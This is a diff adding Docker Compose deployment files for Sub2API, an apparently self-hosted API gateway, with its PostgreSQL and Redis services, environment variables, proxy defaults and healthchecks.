|
||||
build:
|
||||
context: ..
|
||||
dockerfile: Dockerfile
|
||||
args:
|
||||
NPM_CONFIG_REGISTRY: ${NPM_CONFIG_REGISTRY:-https://registry.npmmirror.com}
|
||||
container_name: sub2api-dev
|
||||
restart: unless-stopped
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
ports:
|
||||
- "${BIND_HOST:-127.0.0.1}:${SERVER_PORT:-8080}:8080"
|
||||
volumes:
|
||||
- ./data:/app/data:Z
|
||||
environment:
|
||||
- AUTO_SETUP=true
|
||||
- SERVER_HOST=0.0.0.0
|
||||
- SERVER_PORT=8080
|
||||
- SERVER_MODE=debug
|
||||
- ENABLE_SERVER_TIMING=${ENABLE_SERVER_TIMING:-false}
|
||||
- RUN_MODE=${RUN_MODE:-standard}
|
||||
- DATABASE_HOST=postgres
|
||||
- DATABASE_PORT=5432
|
||||
- DATABASE_USER=${POSTGRES_USER:-sub2api}
|
||||
- DATABASE_PASSWORD=${POSTGRES_PASSWORD:?POSTGRES_PASSWORD is required}
|
||||
- DATABASE_DBNAME=${POSTGRES_DB:-sub2api}
|
||||
- DATABASE_SSLMODE=disable
|
||||
- REDIS_HOST=redis
|
||||
- REDIS_PORT=6379
|
||||
- REDIS_USERNAME=${REDIS_USERNAME:-}
|
||||
- REDIS_PASSWORD=${REDIS_PASSWORD:-}
|
||||
- REDIS_DB=${REDIS_DB:-0}
|
||||
- ADMIN_EMAIL=${ADMIN_EMAIL:-admin@sub2api.local}
|
||||
- ADMIN_PASSWORD=${ADMIN_PASSWORD:-}
|
||||
- JWT_SECRET=${JWT_SECRET:-}
|
||||
- SETUP_MIGRATION_TIMEOUT_SECONDS=${SETUP_MIGRATION_TIMEOUT_SECONDS:-0}
|
||||
- TOTP_ENCRYPTION_KEY=${TOTP_ENCRYPTION_KEY:-}
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
# Local mainland-China development proxy. Containers cannot use
|
||||
# 127.0.0.1 for the host proxy, so default to Docker Desktop's host name.
|
||||
- HTTP_PROXY=${SUB2API_DEV_HTTP_PROXY:-http://host.docker.internal:7897}
|
||||
- HTTPS_PROXY=${SUB2API_DEV_HTTPS_PROXY:-http://host.docker.internal:7897}
|
||||
- ALL_PROXY=${SUB2API_DEV_ALL_PROXY:-socks5://host.docker.internal:7897}
|
||||
- NO_PROXY=${SUB2API_DEV_NO_PROXY:-127.0.0.1,localhost,::1,postgres,redis,sub2api,192.168.0.0/16,10.0.0.0/8,172.16.0.0/12,.local}
|
||||
# OpenAI HTTP upstream protocol/timeout
|
||||
- GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT=${GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT:-0}
|
||||
- GATEWAY_OPENAI_HTTP2_ENABLED=${GATEWAY_OPENAI_HTTP2_ENABLED:-true}
|
||||
- GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1=${GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1:-true}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD=${GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD:-2}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS=${GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS:-60}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS=${GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS:-600}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD:-2}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS:-60}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS:-600}
|
||||
- GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT=${GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT:-900}
|
||||
- GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL=${GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL:-10}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_ENABLED=${GATEWAY_IMAGE_CONCURRENCY_ENABLED:-false}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS=${GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS:-0}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE=${GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE:-reject}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS=${GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS:-30}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS=${GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS:-100}
|
||||
- BATCH_IMAGE_ENABLED=${BATCH_IMAGE_ENABLED:-true}
|
||||
- BATCH_IMAGE_QUEUE_ENABLED=${BATCH_IMAGE_QUEUE_ENABLED:-true}
|
||||
- BATCH_IMAGE_VERTEX_ENABLED=${BATCH_IMAGE_VERTEX_ENABLED:-true}
|
||||
- BATCH_IMAGE_VERTEX_PROJECT_ID=${BATCH_IMAGE_VERTEX_PROJECT_ID:-project-28424c50-8df2-46e2-a27}
|
||||
- BATCH_IMAGE_VERTEX_LOCATION=${BATCH_IMAGE_VERTEX_LOCATION:-global}
|
||||
- BATCH_IMAGE_VERTEX_MANAGED_GCS_BUCKET=${BATCH_IMAGE_VERTEX_MANAGED_GCS_BUCKET:-sub2-batch-image-prod-project-28424c50-8df2-46e2-a27}
|
||||
- BATCH_IMAGE_VERTEX_MANAGED_GCS_PREFIX=${BATCH_IMAGE_VERTEX_MANAGED_GCS_PREFIX:-batch-image/prod/{batch_id}}
|
||||
- BATCH_IMAGE_VERTEX_INPUT_RETENTION_HOURS=${BATCH_IMAGE_VERTEX_INPUT_RETENTION_HOURS:-24}
|
||||
- BATCH_IMAGE_VERTEX_OUTPUT_RETENTION_HOURS=${BATCH_IMAGE_VERTEX_OUTPUT_RETENTION_HOURS:-72}
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test: ["CMD", "wget", "-q", "-T", "5", "-O", "/dev/null", "http://localhost:8080/health"]
|
||||
interval: 30s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 30s
|
||||
|
||||
postgres:
|
||||
image: postgres:18-alpine
|
||||
container_name: sub2api-postgres-dev
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- ./postgres_data:/var/lib/postgresql/data:Z
|
||||
environment:
|
||||
- POSTGRES_USER=${POSTGRES_USER:-sub2api}
|
||||
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?POSTGRES_PASSWORD is required}
|
||||
- POSTGRES_DB=${POSTGRES_DB:-sub2api}
|
||||
- PGDATA=/var/lib/postgresql/data
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-sub2api} -d ${POSTGRES_DB:-sub2api}"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
redis:
|
||||
image: redis:8-alpine
|
||||
container_name: sub2api-redis-dev
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- ./redis_data:/data:Z
|
||||
# The command is one quoted script for the inner `sh -c`. Compose keeps
|
||||
# the newlines inside the quoted string, so every line needs a trailing
|
||||
# `\` — without it, `redis-server` on the first line runs with no flags
|
||||
# at all, and the --save/--appendonly/--appendfsync lines are never read.
|
||||
command: >
|
||||
sh -c '
|
||||
redis-server \
|
||||
--save 60 1 \
|
||||
--appendonly yes \
|
||||
--appendfsync everysec \
|
||||
${REDIS_PASSWORD:+--requirepass "$REDIS_PASSWORD"}'
|
||||
environment:
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
- REDISCLI_AUTH=${REDIS_PASSWORD:-}
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test: ["CMD", "redis-cli", "ping"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 5s
|
||||
|
||||
networks:
|
||||
sub2api-network:
|
||||
driver: bridge
|
||||
@@ -0,0 +1,269 @@
|
||||
# =============================================================================
|
||||
# Sub2API Docker Compose - Local Directory Version
|
||||
# =============================================================================
|
||||
# This configuration uses local directories for data storage instead of named
|
||||
# volumes, making it easy to migrate the entire deployment by simply copying
|
||||
# the deploy directory.
|
||||
#
|
||||
# Quick Start:
|
||||
# 1. Copy .env.example to .env and configure
|
||||
# 2. mkdir -p data postgres_data redis_data
|
||||
# 3. docker-compose -f docker-compose.local.yml up -d
|
||||
# 4. Check logs: docker-compose -f docker-compose.local.yml logs -f sub2api
|
||||
# 5. Access: http://localhost:8080
|
||||
#
|
||||
# Migration to New Server:
|
||||
# 1. docker-compose -f docker-compose.local.yml down
|
||||
# 2. tar czf sub2api-deploy.tar.gz deploy/
|
||||
# 3. Transfer to new server and extract
|
||||
# 4. docker-compose -f docker-compose.local.yml up -d
|
||||
# =============================================================================
|
||||
|
||||
services:
|
||||
# ===========================================================================
|
||||
# Sub2API Application
|
||||
# ===========================================================================
|
||||
sub2api:
|
||||
image: weishaw/sub2api:latest
|
||||
container_name: sub2api
|
||||
restart: unless-stopped
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
ulimits:
|
||||
nofile:
|
||||
soft: 100000
|
||||
hard: 100000
|
||||
ports:
|
||||
- "${BIND_HOST:-0.0.0.0}:${SERVER_PORT:-8080}:8080"
|
||||
volumes:
|
||||
# Local directory mapping for easy migration
|
||||
- ./data:/app/data:Z
|
||||
# Optional: Mount custom config.yaml (uncomment and create the file first)
|
||||
# Copy config.example.yaml to config.yaml, modify it, then uncomment:
|
||||
# - ./config.yaml:/app/data/config.yaml
|
||||
environment:
|
||||
# =======================================================================
|
||||
# Auto Setup (REQUIRED for Docker deployment)
|
||||
# =======================================================================
|
||||
- AUTO_SETUP=true
|
||||
|
||||
# =======================================================================
|
||||
# Server Configuration
|
||||
# =======================================================================
|
||||
- SERVER_HOST=0.0.0.0
|
||||
- SERVER_PORT=8080
|
||||
- SERVER_MODE=${SERVER_MODE:-release}
|
||||
- ENABLE_SERVER_TIMING=${ENABLE_SERVER_TIMING:-false}
|
||||
- RUN_MODE=${RUN_MODE:-standard}
|
||||
- UPDATE_GITHUB_TOKEN=${UPDATE_GITHUB_TOKEN:-}
|
||||
|
||||
# =======================================================================
|
||||
# Database Configuration (PostgreSQL)
|
||||
# =======================================================================
|
||||
- DATABASE_HOST=postgres
|
||||
- DATABASE_PORT=5432
|
||||
- DATABASE_USER=${POSTGRES_USER:-sub2api}
|
||||
- DATABASE_PASSWORD=${POSTGRES_PASSWORD:?POSTGRES_PASSWORD is required}
|
||||
- DATABASE_DBNAME=${POSTGRES_DB:-sub2api}
|
||||
- DATABASE_SSLMODE=disable
|
||||
- DATABASE_MAX_OPEN_CONNS=${DATABASE_MAX_OPEN_CONNS:-50}
|
||||
- DATABASE_MAX_IDLE_CONNS=${DATABASE_MAX_IDLE_CONNS:-10}
|
||||
- DATABASE_CONN_MAX_LIFETIME_MINUTES=${DATABASE_CONN_MAX_LIFETIME_MINUTES:-30}
|
||||
- DATABASE_CONN_MAX_IDLE_TIME_MINUTES=${DATABASE_CONN_MAX_IDLE_TIME_MINUTES:-5}
|
||||
|
||||
# =======================================================================
|
||||
# Redis Configuration
|
||||
# =======================================================================
|
||||
- REDIS_HOST=redis
|
||||
- REDIS_PORT=6379
|
||||
- REDIS_USERNAME=${REDIS_USERNAME:-}
|
||||
- REDIS_PASSWORD=${REDIS_PASSWORD:-}
|
||||
- REDIS_DB=${REDIS_DB:-0}
|
||||
- REDIS_POOL_SIZE=${REDIS_POOL_SIZE:-1024}
|
||||
- REDIS_MIN_IDLE_CONNS=${REDIS_MIN_IDLE_CONNS:-10}
|
||||
- REDIS_ENABLE_TLS=${REDIS_ENABLE_TLS:-false}
|
||||
|
||||
# =======================================================================
|
||||
# Admin Account (auto-created on first run)
|
||||
# =======================================================================
|
||||
- ADMIN_EMAIL=${ADMIN_EMAIL:-admin@sub2api.local}
|
||||
- ADMIN_PASSWORD=${ADMIN_PASSWORD:-}
|
||||
|
||||
# =======================================================================
|
||||
# JWT Configuration
|
||||
# =======================================================================
|
||||
# IMPORTANT: Set a fixed JWT_SECRET to prevent login sessions from being
|
||||
# invalidated after container restarts. If left empty, a random secret
|
||||
# will be generated on each startup.
|
||||
# Generate a secure secret: openssl rand -hex 32
|
||||
- JWT_SECRET=${JWT_SECRET:-}
|
||||
- JWT_EXPIRE_HOUR=${JWT_EXPIRE_HOUR:-24}
|
||||
|
||||
# =======================================================================
|
||||
# Setup Configuration
|
||||
# =======================================================================
|
||||
- SETUP_MIGRATION_TIMEOUT_SECONDS=${SETUP_MIGRATION_TIMEOUT_SECONDS:-0}
|
||||
|
||||
# =======================================================================
|
||||
# TOTP (2FA) Configuration
|
||||
# =======================================================================
|
||||
# IMPORTANT: Set a fixed encryption key for TOTP secrets. If left empty,
|
||||
# a random key will be generated on each startup, causing all existing
|
||||
# TOTP configurations to become invalid (users won't be able to login
|
||||
# with 2FA).
|
||||
# Generate a secure key: openssl rand -hex 32
|
||||
- TOTP_ENCRYPTION_KEY=${TOTP_ENCRYPTION_KEY:-}
|
||||
|
||||
# =======================================================================
|
||||
# Timezone Configuration
|
||||
# This affects ALL time operations in the application:
|
||||
# - Database timestamps
|
||||
# - Usage statistics "today" boundary
|
||||
# - Subscription expiry times
|
||||
# - Log timestamps
|
||||
# Common values: Asia/Shanghai, America/New_York, Europe/London, UTC
|
||||
# =======================================================================
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
|
||||
# =======================================================================
|
||||
# Gemini OAuth Configuration (for Gemini accounts)
|
||||
# =======================================================================
|
||||
- GEMINI_OAUTH_CLIENT_ID=${GEMINI_OAUTH_CLIENT_ID:-}
|
||||
- GEMINI_OAUTH_CLIENT_SECRET=${GEMINI_OAUTH_CLIENT_SECRET:-}
|
||||
- GEMINI_OAUTH_SCOPES=${GEMINI_OAUTH_SCOPES:-}
|
||||
- GEMINI_QUOTA_POLICY=${GEMINI_QUOTA_POLICY:-}
|
||||
|
||||
# Built-in OAuth client secrets (optional)
|
||||
# SECURITY: This repo does not embed third-party client_secret.
|
||||
- GEMINI_CLI_OAUTH_CLIENT_SECRET=${GEMINI_CLI_OAUTH_CLIENT_SECRET:-}
|
||||
- ANTIGRAVITY_OAUTH_CLIENT_SECRET=${ANTIGRAVITY_OAUTH_CLIENT_SECRET:-}
|
||||
- ANTIGRAVITY_USER_AGENT_VERSION=${ANTIGRAVITY_USER_AGENT_VERSION:-}
|
||||
|
||||
# =======================================================================
|
||||
# Security Configuration (URL Allowlist)
|
||||
# =======================================================================
|
||||
# Enable URL allowlist validation (false to skip allowlist checks)
|
||||
- SECURITY_URL_ALLOWLIST_ENABLED=${SECURITY_URL_ALLOWLIST_ENABLED:-false}
|
||||
# Allow insecure HTTP URLs when allowlist is disabled (default: true; set to false to require https)
|
||||
- SECURITY_URL_ALLOWLIST_ALLOW_INSECURE_HTTP=${SECURITY_URL_ALLOWLIST_ALLOW_INSECURE_HTTP:-true}
|
||||
# Allow private IP addresses for upstream/pricing/CRS (default: true; set to false to block private hosts)
|
||||
- SECURITY_URL_ALLOWLIST_ALLOW_PRIVATE_HOSTS=${SECURITY_URL_ALLOWLIST_ALLOW_PRIVATE_HOSTS:-true}
|
||||
# Upstream hosts whitelist (comma-separated, only used when enabled=true)
|
||||
- SECURITY_URL_ALLOWLIST_UPSTREAM_HOSTS=${SECURITY_URL_ALLOWLIST_UPSTREAM_HOSTS:-}
|
||||
|
||||
# =======================================================================
|
||||
# Update Configuration (在线更新配置)
|
||||
# =======================================================================
|
||||
# Proxy for accessing GitHub (online updates + pricing data)
|
||||
# Examples: http://host:port, socks5://host:port
|
||||
- UPDATE_PROXY_URL=${UPDATE_PROXY_URL:-}
|
||||
|
||||
# =======================================================================
|
||||
# Image Generation Stream & Concurrency
|
||||
# =======================================================================
|
||||
# OpenAI HTTP upstream protocol/timeout
|
||||
- GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT=${GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT:-0}
|
||||
- GATEWAY_OPENAI_HTTP2_ENABLED=${GATEWAY_OPENAI_HTTP2_ENABLED:-true}
|
||||
- GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1=${GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1:-true}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD=${GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD:-2}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS=${GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS:-60}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS=${GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS:-600}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD:-2}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS:-60}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS:-600}
|
||||
- GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT=${GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT:-900}
|
||||
- GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL=${GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL:-10}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_ENABLED=${GATEWAY_IMAGE_CONCURRENCY_ENABLED:-false}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS=${GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS:-0}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE=${GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE:-reject}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS=${GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS:-30}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS=${GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS:-100}
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test: ["CMD", "wget", "-q", "-T", "5", "-O", "/dev/null", "http://localhost:8080/health"]
|
||||
interval: 30s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 30s
|
||||
|
||||
# ===========================================================================
|
||||
# PostgreSQL Database
|
||||
# ===========================================================================
|
||||
postgres:
|
||||
image: postgres:18-alpine
|
||||
container_name: sub2api-postgres
|
||||
restart: unless-stopped
|
||||
ulimits:
|
||||
nofile:
|
||||
soft: 100000
|
||||
hard: 100000
|
||||
volumes:
|
||||
# Local directory mapping for easy migration
|
||||
- ./postgres_data:/var/lib/postgresql/data:Z
|
||||
environment:
|
||||
- POSTGRES_USER=${POSTGRES_USER:-sub2api}
|
||||
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?POSTGRES_PASSWORD is required}
|
||||
- POSTGRES_DB=${POSTGRES_DB:-sub2api}
|
||||
- PGDATA=/var/lib/postgresql/data
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-sub2api} -d ${POSTGRES_DB:-sub2api}"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
# 注意:不暴露端口到宿主机,应用通过内部网络连接
|
||||
# 如需调试,可临时添加:ports: ["127.0.0.1:5433:5432"]
|
||||
|
||||
# ===========================================================================
|
||||
# Redis Cache
|
||||
# ===========================================================================
|
||||
redis:
|
||||
image: redis:8-alpine
|
||||
container_name: sub2api-redis
|
||||
restart: unless-stopped
|
||||
ulimits:
|
||||
nofile:
|
||||
soft: 100000
|
||||
hard: 100000
|
||||
volumes:
|
||||
# Local directory mapping for easy migration
|
||||
- ./redis_data:/data:Z
|
||||
# The command is one quoted script for the inner `sh -c`. Compose keeps
|
||||
# the newlines inside the quoted string, so every line needs a trailing
|
||||
# `\` — without it, `redis-server` on the first line runs with no flags
|
||||
# at all, and the --save/--appendonly/--appendfsync lines are never read.
|
||||
command: >
|
||||
sh -c '
|
||||
redis-server \
|
||||
--save 60 1 \
|
||||
--appendonly yes \
|
||||
--appendfsync everysec \
|
||||
${REDIS_PASSWORD:+--requirepass "$REDIS_PASSWORD"}'
|
||||
environment:
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
# REDISCLI_AUTH is used by redis-cli for authentication (safer than -a flag)
|
||||
- REDISCLI_AUTH=${REDIS_PASSWORD:-}
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test: ["CMD", "redis-cli", "ping"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 5s
|
||||
|
||||
# =============================================================================
|
||||
# Networks
|
||||
# =============================================================================
|
||||
networks:
|
||||
sub2api-network:
|
||||
driver: bridge
|
||||
@@ -0,0 +1,137 @@
|
||||
# =============================================================================
|
||||
# Sub2API Docker Compose - Standalone Configuration
|
||||
# =============================================================================
|
||||
# This configuration runs only the Sub2API application.
|
||||
# PostgreSQL and Redis must be provided externally.
|
||||
#
|
||||
# Usage:
|
||||
# 1. Copy .env.example to .env and configure database/redis connection
|
||||
# 2. docker-compose -f docker-compose.standalone.yml up -d
|
||||
# 3. Access: http://localhost:8080
|
||||
# =============================================================================
|
||||
|
||||
services:
|
||||
sub2api:
|
||||
image: weishaw/sub2api:latest
|
||||
container_name: sub2api
|
||||
restart: unless-stopped
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
ulimits:
|
||||
nofile:
|
||||
soft: 100000
|
||||
hard: 100000
|
||||
ports:
|
||||
- "${BIND_HOST:-0.0.0.0}:${SERVER_PORT:-8080}:8080"
|
||||
volumes:
|
||||
- sub2api_data:/app/data
|
||||
extra_hosts:
|
||||
- "host.docker.internal:host-gateway"
|
||||
environment:
|
||||
# =======================================================================
|
||||
# Auto Setup
|
||||
# =======================================================================
|
||||
- AUTO_SETUP=true
|
||||
|
||||
# =======================================================================
|
||||
# Server Configuration
|
||||
# =======================================================================
|
||||
- SERVER_HOST=0.0.0.0
|
||||
- SERVER_PORT=8080
|
||||
- SERVER_MODE=${SERVER_MODE:-release}
|
||||
- ENABLE_SERVER_TIMING=${ENABLE_SERVER_TIMING:-false}
|
||||
- RUN_MODE=${RUN_MODE:-standard}
|
||||
- UPDATE_GITHUB_TOKEN=${UPDATE_GITHUB_TOKEN:-}
|
||||
|
||||
# =======================================================================
|
||||
# Database Configuration (PostgreSQL) - Required
|
||||
# =======================================================================
|
||||
- DATABASE_HOST=${DATABASE_HOST:?DATABASE_HOST is required}
|
||||
- DATABASE_PORT=${DATABASE_PORT:-5432}
|
||||
- DATABASE_USER=${DATABASE_USER:-sub2api}
|
||||
- DATABASE_PASSWORD=${DATABASE_PASSWORD:?DATABASE_PASSWORD is required}
|
||||
- DATABASE_DBNAME=${DATABASE_DBNAME:-sub2api}
|
||||
- DATABASE_SSLMODE=${DATABASE_SSLMODE:-disable}
|
||||
- DATABASE_MAX_OPEN_CONNS=${DATABASE_MAX_OPEN_CONNS:-50}
|
||||
- DATABASE_MAX_IDLE_CONNS=${DATABASE_MAX_IDLE_CONNS:-10}
|
||||
- DATABASE_CONN_MAX_LIFETIME_MINUTES=${DATABASE_CONN_MAX_LIFETIME_MINUTES:-30}
|
||||
- DATABASE_CONN_MAX_IDLE_TIME_MINUTES=${DATABASE_CONN_MAX_IDLE_TIME_MINUTES:-5}
|
||||
|
||||
# =======================================================================
|
||||
# Redis Configuration - Required
|
||||
# =======================================================================
|
||||
- REDIS_HOST=${REDIS_HOST:?REDIS_HOST is required}
|
||||
- REDIS_PORT=${REDIS_PORT:-6379}
|
||||
- REDIS_USERNAME=${REDIS_USERNAME:-}
|
||||
- REDIS_PASSWORD=${REDIS_PASSWORD:-}
|
||||
- REDIS_DB=${REDIS_DB:-0}
|
||||
- REDIS_POOL_SIZE=${REDIS_POOL_SIZE:-1024}
|
||||
- REDIS_MIN_IDLE_CONNS=${REDIS_MIN_IDLE_CONNS:-10}
|
||||
- REDIS_ENABLE_TLS=${REDIS_ENABLE_TLS:-false}
|
||||
|
||||
# =======================================================================
|
||||
# Admin Account (auto-created on first run)
|
||||
# =======================================================================
|
||||
- ADMIN_EMAIL=${ADMIN_EMAIL:-admin@sub2api.local}
|
||||
- ADMIN_PASSWORD=${ADMIN_PASSWORD:-}
|
||||
|
||||
# =======================================================================
|
||||
# JWT Configuration
|
||||
# =======================================================================
|
||||
- JWT_SECRET=${JWT_SECRET:-}
|
||||
- JWT_EXPIRE_HOUR=${JWT_EXPIRE_HOUR:-24}
|
||||
|
||||
# =======================================================================
|
||||
# Setup Configuration
|
||||
# =======================================================================
|
||||
- SETUP_MIGRATION_TIMEOUT_SECONDS=${SETUP_MIGRATION_TIMEOUT_SECONDS:-0}
|
||||
|
||||
# =======================================================================
|
||||
# Timezone Configuration
|
||||
# =======================================================================
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
|
||||
# =======================================================================
|
||||
# Gemini OAuth Configuration (optional)
|
||||
# =======================================================================
|
||||
- GEMINI_OAUTH_CLIENT_ID=${GEMINI_OAUTH_CLIENT_ID:-}
|
||||
- GEMINI_OAUTH_CLIENT_SECRET=${GEMINI_OAUTH_CLIENT_SECRET:-}
|
||||
- GEMINI_OAUTH_SCOPES=${GEMINI_OAUTH_SCOPES:-}
|
||||
- GEMINI_QUOTA_POLICY=${GEMINI_QUOTA_POLICY:-}
|
||||
|
||||
# Built-in OAuth client secrets (optional)
|
||||
# SECURITY: This repo does not embed third-party client_secret.
|
||||
- GEMINI_CLI_OAUTH_CLIENT_SECRET=${GEMINI_CLI_OAUTH_CLIENT_SECRET:-}
|
||||
- ANTIGRAVITY_OAUTH_CLIENT_SECRET=${ANTIGRAVITY_OAUTH_CLIENT_SECRET:-}
|
||||
- ANTIGRAVITY_USER_AGENT_VERSION=${ANTIGRAVITY_USER_AGENT_VERSION:-}
|
||||
|
||||
# =======================================================================
|
||||
# Image Generation Stream & Concurrency
|
||||
# =======================================================================
|
||||
# OpenAI HTTP upstream protocol/timeout
|
||||
- GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT=${GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT:-0}
|
||||
- GATEWAY_OPENAI_HTTP2_ENABLED=${GATEWAY_OPENAI_HTTP2_ENABLED:-true}
|
||||
- GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1=${GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1:-true}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD=${GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD:-2}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS=${GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS:-60}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS=${GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS:-600}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD:-2}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS:-60}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS:-600}
|
||||
- GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT=${GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT:-900}
|
||||
